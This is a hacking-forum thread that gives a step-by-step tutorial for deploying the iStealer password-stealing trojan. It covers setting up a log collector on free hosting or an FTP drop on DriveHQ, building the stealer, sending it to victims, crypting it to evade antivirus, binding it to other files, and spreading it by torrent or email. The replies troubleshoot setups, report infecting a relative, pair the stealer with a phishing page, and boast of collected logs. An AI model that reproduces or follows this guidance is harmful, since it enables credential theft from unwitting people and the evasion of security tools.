Thread: [\[New\]Istealer 5.0 MOD TuT with x10hosting.com and Istealer 3.0 TuT with DriveHQ.com](#)

LittleFighter™ - November 1, 2009, 7:26 am

Istealer 5.0 & New TuT

Step 1 - go to www.x10hosting.com

[img]http://coffeeshopguide.co.cc/x10host.jpg[/img]

Step 2 - create an account there and after activating it login to ur account.

Step 3 - after logging in go to cpanel

[img]http://img253.imageshack.us/img253/777/57304630.png[/img]

step 4 - sign in again on cpanel

[img]http://img253.imageshack.us/img253/1957/57304630e.png[/img]

step 5 - then click My SQL Databases

[img]http://img4.imageshack.us/img4/777/57304630.png[/img]

step 6 - create a database and a user

[img]http://img62.imageshack.us/img62/777/57304630.png[/img]

step 7 - download Istealer 5.0 (MOD)

http://#.com/files/264306122/iStealer_5.0.1.rar

http://www.2shared.com/file/9351634/60750b27/istealer_50.html

<http://www.multiupload.com/9EHDJYBPR1>

<http://www.mediafire.com/?iny15tmwqo2>

step 8 - Open \iStealer5.1\PHP Logger\index.php and edit the configuration information. All of the information is commented at the side, it's clear what it is. Leave localhost as it is.

[img]http://img253.imageshack.us/img253/2306/57304630u.png[/img]

step 9 - go to "File manager" in the cpanel and upload index.php & style.css

[img]http://img62.imageshack.us/img62/2306/57304630u.png[/img]

[img]http://img252.imageshack.us/img252/777/57304630.png[/img]

Step 10 - After this, your iStealer is set up, www.yourwebsite.x10hosting.com/index.php
Log in there to view your logs (login with your database username and password). Simple enough.

[img]http://img21.imageshack.us/img21/9096/77083068.png[/img]

Step 11 - Open iStealer 5.0.1 and fill in all of the necessary information.
The "Url" will be <http://yourwebsitename.x10hosting.com/index.php>
Then send the file to victims.

[img]http://i30.[censored].com/2lm2w4p.jpg[/img]

Istealer 3.0

[img]http://img26.imageshack.us/img26/9679/istealer.jpg[/img]

Step 1 - go to www.drivehq.com

[img]http://www.drivehq.com/images/new/H_logo.gif[/img]

Step 2 - create an account there

Step 3 - Download Istealer 3.0 from here - <http://www.mediafire.com/?ruiw5yumdd>
<http://www.multiupload.com/2VGV6TXQLF>

Step 4 - Look at FTP options.Under it in Host type "ftp.drivehq.com" without quotes.In Login and Password type ur Username and Pass which u used while creating account on www.drivehq.com

[img]http://img137.imageshack.us/img137/2744/77998340.png[/img]

Step 5 - In Binder Options u can bind any other file with ur stealer if u want.In Icon Changer option u can change icon of ur stealer.

[img]http://img682.imageshack.us/img682/2938/19299501.png[/img]

Step 6 - In Recovery Options select the options (like MSN,Steam,Firefox etc) of which u want the pass.

[img]http://img69.imageshack.us/img69/8563/95454034.png[/img]

Step 7 - Select the General Options according to ur choice.

[img]http://img42.imageshack.us/img42/4166/99576613.png[/img]

Step 8 - Click Test FTP. If it will not work then check ur Username and Password.

Step 9 - Click Build and then send ur Stealer to ur Victims.And when they will open ur Stealer u will recive logs on ur DriveHQ Account.So regularly check it and Happy Stealing!!!

[img]http://img301.imageshack.us/img301/5918/93119779.png[/img]

Note - IF YOU GET ERROR MISSING COMDLG32.OCX
You can download the missing OCX here:

http://www.ocxdump.com/download-ocx-files_new.php/ocxfiles/C/COMDLG32.OCX/6.01.9782/download.html

Once you've downloaded the missing OCX extract it into WINDOWS>SYSTEM32

(thnx to Mendacious)

If u have Probs then read the below FAQ -

=====Faq=====

Q: I'm not retrieving any logs. Not even my own.

A: I stealer is fairly an easy program to work around. the only problem would be with your black appel host or you didnt change the "index" file with your info.

Q: Is I stealer Illegal?

A: Yes, iStealer is a very dangerous keylogger if it is not crypted.

Q: How much trouble can i get in-to using this keylogger?

A: A shit load if you get caught and dont crypt it. It can trace back to your host.

Q: Should i put fake information on x10hosting?

A: Ofcourse do that for any illegal/virus file you are spreading.

Q: Why is this key logger more Special then others?

A: Really it Is'nt it may have some more Add-Ons but it's going to make your server more unstable.

Q: Wht did i Make this tutorial on how to use iStealer?

A: No offence all the old ones are out dated, or in another language... and also mine one has new host :P

Q: What makes my tutorial better?

A: What ever the people comment on this post is what makes it better.

Q: I need help, because i cant set-up. Can you please help me?

A: Yes, I can

Q: I scanned istealer and it shows up as a virus. Did you put your virus on me.

A: You dont know how much of that i get. NO i did not put it on you. It's istealer.. an illegal program. That keylogs you and makes a server that is detected 20/23.

Q: Yay it works. Finally, what do i do now?

A: Simple upload it on a few torrent, maybe go down a E-Mail list and send it to them to get some logs

Q: How I make it FUD?

A: Use any free crypter or buy any good one or use crypting services provided by HF members as they are cheaper also.

Thnx for reading my tut and plz give feedback and credits if u copy my tut.

crazedmonk - November 5, 2009, 9:55 pm

Great fool proof tutorial. One question though. when i'm binding it with another exe. Do i crypt each .exe separately and then bind it, or bind them and then crypt? And i'm guessing you bind Darkbinder2.exe to the server.exe?

LittleFighter™ - November 6, 2009, 1:26 am

(Nov 5, 2009 10:55 PM)crazedmonk Wrote: [\[CITE\]](#) Great fool proof tutorial. One question though. when i'm binding it with another exe. Do i crypt each .exe separately and then bind it, or bind them and then crypt? And i'm guessing you bind Darkbinder2.exe to the server.exe?
bind it from anything and crypt the binded file

Moustikk - November 6, 2009, 9:20 am

Nice Tut for help the noob :p

PrideInBattle - November 6, 2009, 10:39 am

Please help me.

I ran it on my sisters computer, now where do I go to see the logs/her info?

Also:

I used this for iStealer: <http://myname.x10hosting.com/index.php>
When I visit it I get a 404 error, is it supposed to not work?

Also:

I create the .exe and I scan it with BitDefender 2010, it's not FUD and it gets deleted as a Trogan Generic.

I appreciate it if you can help me, as you can tell I have never used iStealer before.
Thanks.

-C0d3ak- - November 6, 2009, 1:05 pm

Great tut, altho i wouldnt classify this as a keylogger..

Fukushima - November 6, 2009, 9:01 pm

So you need to make your own website for this?

I get a 404 error when i go to <http://myname.x10hosting.com/index.php>

Saw88 - November 11, 2009, 5:19 am

I have question,I have istealer 5.0 I crypted this stealer and in site virustotal.com is no virus deteced 0/41. But when I open it in my computer avast tell me that in this file is virus,so what I must do? Any idea? And other thing,I want to bind this stealer with password.exe and rar it with movie or something,and when someone want to unrar movie he must click the password.exe to get password,but in this password.exe will be stealer. How to make that password.exe ? Someone click it and window is opening with password.

password.exe(with stealer in it)
file.rar secured with password(with movie,game,or something)

If someone want unrar movie or something must open password.exe to get password.

LittleFighter™ - November 11, 2009, 5:24 am

(Nov 11, 2009 06:19 AM)Saw88 Wrote: [\[CITE\]](#) I have question,I have istealer 5.0 I crypted this stealer and in site virustotal.com is no virus deteced 0/41. use any other crypter
and dude y u scanning on virustotal? lol
and lol how i would know how to make password.exe?
i have a good idea
u just bind it with rar file only
if victim will open rar file then istealer will do its work
howz this idea?

Cyberman - November 11, 2009, 5:31 am

i have a problem,, when i double click the istealer, that can't show like
[img]http://i30.[censored].com/2lm2w4p.jpg[/img]
what the solution ??

Saw88 - November 11, 2009, 5:35 am

(Nov 11, 2009 06:24 AM)LittleFighter Wrote: [\[CITE\]](#) use any other crypter
and dude y u scanning on virustotal? lol
and lol how i would know how to make password.exe?

howz this idea?
scanner.novirusthanks.org in this site it's clean too,so what site u prefer to use?

And ur idea is good,thx.

I see in ur signature that u sell crypters,if I will buy ur crypter my problem will be fixed?

LittleFighter™ - November 11, 2009, 6:13 am

i tried istealer 4.0 as well, still got nothing in my logs ???

but thank you so much... ?

dinukap4 - November 27, 2009, 7:21 am

WoW tnx mate!!

Cooooo!

Now the only prob is how to make a undetectable one Can some one help me in it !!!

Please explain in simple way im nt a PRO :D

I sent you a PM plz read it

Ziore - November 27, 2009, 8:44 am

Thanks for the tut, now i must search if there is a way to store firefox info :P

alhan - November 27, 2009, 11:01 am

Don' t Download !!!

It' s a trojan !!!

He has bind Istealer with a malware !!!!

pesc101 - November 27, 2009, 2:28 pm

hi guys,

i have a problbem with the tut. When i want to login to my webstite it is still error :S

I am shure do make all right, i dont now why comes the error. i have uploading all files und have configuret all.

Pls help

Edit1: yes i have it now sry for post^^

thx just letting ya guys now, i used the # one, its a logger, connecting to 69.162.86.4

(On BlackAppleHost)

just letting ya guys know:P

Rs6 - December 30, 2009, 1:50 pm

Hello, anyone have any idea what this is and how to fix it? Thanks in advance ?

<http://yfrog.com/jc73286325p>

lovemaster - December 30, 2009, 1:57 pm

the tut is great

i already have my file and site

but spreading in warez sites is hard

and many people say it's virus (true)

how to hide that ????

and @ littlefighter

did you play littlefighter ????

(Dec 30, 2009 02:50 PM)Shushu Wrote: [\[CITE\]](#) Hello, anyone have any idea what this is and how to fix it? Thanks in advance ?

<http://yfrog.com/jc73286325p>

i had this prob too

first

the user name in index.php is

registername_username

not just the username you just created !!!

fix it so

Scire - December 31, 2009, 10:17 pm

When I try to run istealer I get the error

"windows cannot access the specified device, path, or file. you may not have the permissions to access the item"

I'm on vista 64-bit and tried running the file as administrator but still no luck

lawid - January 2, 2010, 2:34 am

turn off your antivirus before extracting the file!!!!!! cause it will detected as trojan or virus, cause its hacking lol :P

here is clean one by Zer0! istealer 5.0 Mod.

link=> http://#.de/files/48928529/istealer_5.0.rar.html

tutorial=> <http://www.youtube.com/watch?v=hX6he6Wcl0c>

Scire - January 2, 2010, 2:17 pm

Antivirus is turned off along with browser scanning. Still get the same thing.

JacobRawr - January 2, 2010, 3:29 pm

Very nice tut, really well written and a pleasure to read. :)

Timothy - January 3, 2010, 11:23 am

I get a database error and it wont show me the logs :S

What do i do?

saharxd - January 3, 2010, 11:54 am

dude my antivirus removed all time the loader?

what i can do?and that becouse it virus?

A X L - January 3, 2010, 12:15 pm

(Jan 3, 2010 12:54 PM)saharxd Wrote: [\[CITE\]](#) dude my antivirus removed all time the loader?

what i can do?and that becouse it virus?

Yes its a virus obviously because its a stealer and every av will detect it. Just disable your antivirus.

TheBlackMarket - January 3, 2010, 12:36 pm

It Works great Mate! thanks for the Tutorial :)

Not a G - January 3, 2010, 12:38 pm

Very very useful tut and noob friendly, thanks.

Zx01011010xZ - January 4, 2010, 12:16 am

You have got to be kidding me.
This is a trojan. It steals passwords. No need to post a virus scan.

Clishem - January 18, 2010, 8:50 am

But it should only be infected, once the trojan has been built, by you.

Like other stealers, the builder isn't infected.

ProfoundZeus™ - January 18, 2010, 8:52 am

(Jan 18, 2010 09:50 AM)Clishem Wrote: [\[CITE\]](#) But it should only be infected, once the trojan has been built, by you.

Like other stealers, the builder isn't infected.
Times have changed. The builders get detected to since they contain the trojan codes with which the server is built.

gua - January 18, 2010, 8:53 am

omg , great

AptX01 - January 18, 2010, 10:29 am

i got istealer, but i can't run this apps.. :(

SwAgSuRFiN - January 18, 2010, 12:56 pm

when i double click iStealer.exe i get this

Windows cannot access the specified device, path, or file. You may not have the appropriate permissions to access the item.

can anyone help me solve this problem?

Clissem - January 18, 2010, 12:57 pm

(Jan 18, 2010 09:52 AM)Karamitolas Wrote: [\[CITE\]](#) Times have changed. The builders get detected to since they contain the trojan codes with which the server is built.

Hmm ok, I may have to look into that ?

can anyone help me solve this problem?This is because of firewall, disable any firewalls if AVG disable Resident Sheild

Clishem - January 18, 2010, 7:37 pm

Hm.. I set this up, send to someone, they run it, but I dont get their username and password, I just get the sites they have passwords saved to. I know they have saved passwords cause they are on my RAT.

ProfoundZeus™ - January 18, 2010, 10:17 pm

(Jan 18, 2010 08:37 PM)Clishem Wrote: [\[CITE\]](#) Hm.. I set this up, send to someone, they run it, but I dont get their username and password, I just get the sites they have passwords saved to. I know they have saved passwords cause they are on my RAT.

Thats right. What istealer actually does is to steal saved sites passwords.

u can do in any web hosting site

just follow the steps

1-the size of istealer 50 (zip file) that i download is 79 kb is that correct?

[IMG]<http://img59.imageshack.us/img59/1562/sizei.jpg>[/IMG]

2-i try it just now. but i mixed the "index.php and style.css" in the same root folder with my phishing facebook (fake login=index.html,logs.php and logs.txt). is that okay? or it should be moved in other directory? <http://img130.imageshack.us/img130/7267/mixedy.jpg>

3-how to edit index.php? this is i want to show you the mysql setting in 700megs.com. i've watch tutorial in youtube about istealer but they are not clear. www.youtube.com/watch?v=O6vBgCOeilo and this picture i found from google but not clear and distinct.

<http://img30.imageshack.us/img30/1440/istealer5.jpg>

this is my hosting configuration in 700megs.com :

[IMG]<http://img197.imageshack.us/img197/1304/controlpanelb.jpg>[/IMG]

[IMG]<http://img197.imageshack.us/img197/9027/editmysql.jpg>[/IMG]

with that picture, what you can suggest me to edit index.php (for detail!!).

a.k.a: *****

```
$dbHost    = "localhost"; // MySQL host
$dbUser    = "example_user"; // MySQL username
$dbPass    = "passw0rd"; // MySQL password
$dbDatabase = "example_db"; // MySQL database name
```

```
$username  = "example"; // Login Username
$password  = "passw0rd"; // Login Password
```

```
$logspage  = 50; // Number of logs per page
```

```
// *****
```

4- i've try it haphazardly, but appears like this:

what should i fill in the box username and password? is that fill with my account when i register in 700megs.com or with my account in mysql database?

```
$username = "example"; // Login Username  
$password = "passw0rd"; // Login Password
```

in this part write the username and pass which u use in cpanel while logging and use this only while logging in istealer page

codex2 - January 23, 2010, 9:12 am

Hello, i have found a soloution for my problem with the first tutorial. (Istealer 5) When you say press on SQL databases, instead press the SQL databases wizard. Do this if you get the error that it says that "Can't find the database please check your something" ?

It's also alot easier to do that instead, you will be given step by step to setup your SQL database! Add this in the tutorial if you have time. ?

EDIT: Hakirmix has this problem btw.."Can not connect to Database, please check the configuration" i mentioned this earlier..

LittleFighter™ - January 23, 2010, 7:39 pm

Did you do the correct changes to the php loggers?

Also it's recommended to test your logger on yourself the first times to figure it all out. This tut is complete, so I think you should do all steps again carefully... I don't know if this 3.0 is working well since I use 5 and 6.

N?nja - February 4, 2010, 12:57 pm

(Feb 6, 2010 10:04 AM)PossessedFrog Wrote: [\[CITE\]](#) Also if theres no logs is the webpage just pure white?

You need to upload the css and index.php file to your webhost.

N?nja - February 6, 2010, 11:30 am

(Feb 6, 2010 12:02 PM)A X L Wrote: [\[CITE\]](#) You need to upload the css and index.php file to your webhost.I have done that

Edit: Could anyone help me over msn or something? thanks

fike - February 6, 2010, 4:14 pm

On x10hosting it now says (Name)_(Boxtotypein) Create database. So if you add lets say fike, and my name is fike it will say Fike_Fike. Is that the name of my DB or just "fike"?

McCallum - February 6, 2010, 4:21 pm

All though I prefer FTP, it's still nice to try other things.

I really do hate x10hosting though, they give you such a hard time sometimes when you want to login to your cPanel. They forget to tell you that your password has to be under 16 characters (I think this is true). Sometimes they don't tell you about your password until your finished signing up, other times they never tell you about it and you won't be able to login to your cPanel. You might want to include this tip in your tutorial.

Thanks though, I love the look of the logs, they're very organized. ?

Zher0 - February 6, 2010, 5:37 pm

Nice in depth tutorial very helpful for new people.

no prob bro
anytime

quake_lizard99 - March 7, 2010, 9:03 am

Hi,
I just got a folder (AKL_TEST) created on my drivehq account.Where can i see the logs?
I am not able to see anything.Pls guide.

javi2828 - March 7, 2010, 2:39 pm

pretty nice tut,
i am going to use this one day.

Lulzer - March 7, 2010, 3:01 pm

Im still curious as to if this works on vista?
If not whats the best version of this that I can get for free that will work on vista?

starcraft2 - March 7, 2010, 7:16 pm

After i press build it say Run-time error '9' Subscript out of range
Somebody help!! Please .Thank!

LittleFighter™ - March 7, 2010, 7:39 pm

maybe you need to put your username in front of that both file hosting sites i used did like g0n3b4d_hello_hacker as my database

starcraft2 - March 9, 2010, 8:24 pm

Still not working !!!! :(does anyone have a program that hack hotmail??????

LittleFighter™ - March 10, 2010, 2:07 am

(Mar 9, 2010 09:24 PM)starcraft2 Wrote: [\[CITE\]](#) Still not working !!!! :(does anyone have a program that hack hotmail??????

use any other stealer or any keylogger

LittleFighter™ - March 12, 2010, 8:28 am

gr8 it got 20k views...

will update it soon with istealer 6.0

Getoar-Triple - March 24, 2010, 1:30 pm

hi why i cant login in my link

last night I login and evrything was perfect but today i cant login

reply any1

PAHH - March 30, 2010, 5:02 pm

Omg everytime i keep cliking the "istealer 5.0.1 .exe" i keep getting an error when i click "build" HELPP

teesquared05 - April 10, 2010, 2:12 pm

I am able to use istealer and created my build and encrypted it. What do I need to do to get is so that I can send it in an e-mail?

Any help would be greatly appreciated. Thanks.

I'm a noob at his :-)

Error667 - April 13, 2010, 3:24 am

hi, i have a big problem : when i go to my site, i can go in but i'have too a lot of "errors" :

http://s2.noelshack.com/old/up/sans_titre2-f65b19ca30.jpg

can you help me please ?
Thanks a lot ;(

cryfar33

hackerdz - April 21, 2010, 12:59 pm

great thanks for the tuto

Chuck Wagon - May 2, 2010, 3:42 pm

Can not select 'proph3t_runsthis' database, please check the configuration.
Any reason why I am getting this error?

panizgraphic - May 25, 2010, 1:16 am

No logs found!

it think this is fake tut !!! how stealer can send logs to website? only from url? is it possible?

crawl7 - May 25, 2010, 7:34 am

<https://x10hosting.com/control/?jackmunchdiedohnobutjackmunchjustfixeditselfbecauseitisskynet>

i get that error :\

Illectus - May 27, 2010, 5:58 am

Can't seem to get this working, keeps on giving me "can't connect to database" error :\

serello - June 6, 2010, 6:49 am

Thanks for this, really useful, already got 5 pages of logs to go through :D

Quien - June 6, 2010, 10:07 am

Really awesome,its just brilliand i've been looking for such a good tutorial like this for ages.

Thanks.

prototype366 - June 6, 2010, 5:49 pm

is it meant to be detected by AV's ?

serello - June 7, 2010, 4:57 pm

(Jun 6, 2010 05:49 PM)prototype366 Wrote: [\[CITE\]](#) is it meant to be detected by AV's ?You can

always use a crypter

lewdaman - June 7, 2010, 6:03 pm

Thank you, saved all this and going to read tonight and set up.

rambo1994 - June 7, 2010, 9:50 pm

Thanks for the tut really helped me out keep up the good work :P

kazclub - June 8, 2010, 1:21 am

thnx for the tutorial
too Short !

Chris.. - June 8, 2010, 5:29 am

Thanks bro now waiting for some one to download so i can test

good tut

Cuycrups - June 8, 2010, 1:41 pm

what do i do if i get this error message:

Can not connect to database, please check the configuration

i did everything corect

mefpuffy - June 8, 2010, 2:54 pm

I really really need some help on how to configure that freaking index.php . I have tried and used every neuron in my head and i still can't figure it out (I KNOW IT"S A SIMPLE THING)

I am stuck at this part :

```
$dbHost = "localhost"; // MySQL host
$dbUser = ""; // MySQL username
$dbPass = ""; // MySQL password
$dbDatabase = ""; // MySQL database name
```

And i know for a sure thing that i used the right username and password and the database name that i have created .

All i get is this retarded message : Can not connect to database, please check the configuration. :/

Can someone here please PM or reply to this message with an helpful answer ? PLEASE !

DragoSupremo - June 10, 2010, 5:39 am

Great TUT...

Itz very helpful & also very informative...?

Burn Notice - July 16, 2010, 11:44 pm

lol i got a add-free infinity package :S Unlimited Diskspace & bandwith O_O Weird much

Sad_Angel - August 14, 2010, 1:22 am

which crypter should i use, and can i bind this with images.?

and in 3.0, i have to manually enter into the account and see for logs..?

which is better..

Maruku - August 24, 2010, 11:25 am

best tut ever :D

thanks,

t

Syberpro - August 24, 2010, 11:32 pm

haha i got ban in about 10 min

boogiebear - August 29, 2010, 5:38 pm

(Aug 24, 2010 11:32 PM)??????? Wrote: [CITE](#) haha i got ban in about 10 min
im not banned yet, and ive had it for about a week.
good tut tho, ive run out of free hosting sites i havnt gotten banned from. hha

ieru897 - September 13, 2010, 9:52 am

yo dude i get an error how come

Warning: mysql_connect() [function.mysql-connect]: Access denied for user
'ieu442_j78'@'int.web6.vital.x10hosting.com' (using password: YES) in
/home/ieu442/public_html/index.php on line 46

Barinade - September 15, 2010, 12:34 am

About how long does it take for logs to show up?

Edit: Got it to work but I had to use the one that wasn't crypted. Can anyone help me crypt this?

The Real Kobe Bryant - September 15, 2010, 4:34 am

Great tutorial, it works really well and was helpful.

Fleo - September 15, 2010, 11:51 am

that looks great! good TuT!

Barinade - September 15, 2010, 2:25 pm

Can someone help me crypt this? Every time I do it it fails.

lolekibolek - September 20, 2010, 10:13 am

its awsome i like it it works tnx mamamn ;)

iforce - September 21, 2010, 11:02 am

HAHA DUDS LOOK at this Your x10Hosting free web hosting account stardust has been
suspended. Access to this hosting account has been restricted until the suspension has been
resolved.

The details of this suspension can be viewed under the client account panel as well as the steps
that need to be taken to return your account to good standing.

You can access the client account panel using the following URL: <http://x10hosting.com/control>
IVE GOT THIS MESSAGE AFTER 2 MINUTES ONLINE WHIT ISTEALER HEY HAVE YOU GOT
ANY IDEAS WHERE CAN I FIND AN WEBSITE WHERE THIS ISNT ELIGLE PLS HELP

Galaxy Wave - September 21, 2010, 11:20 am

Great tut thanks for this<3

LittleFighter™ - October 24, 2010, 10:09 pm

Yeh , nowadays x10hosting is suspending people who r using lstealer.

I will find a new hosting site which doesn't ban and let u ppl know.

LittleFighter™ - *October 29, 2010, 7:50 am*

Should I close this thread?
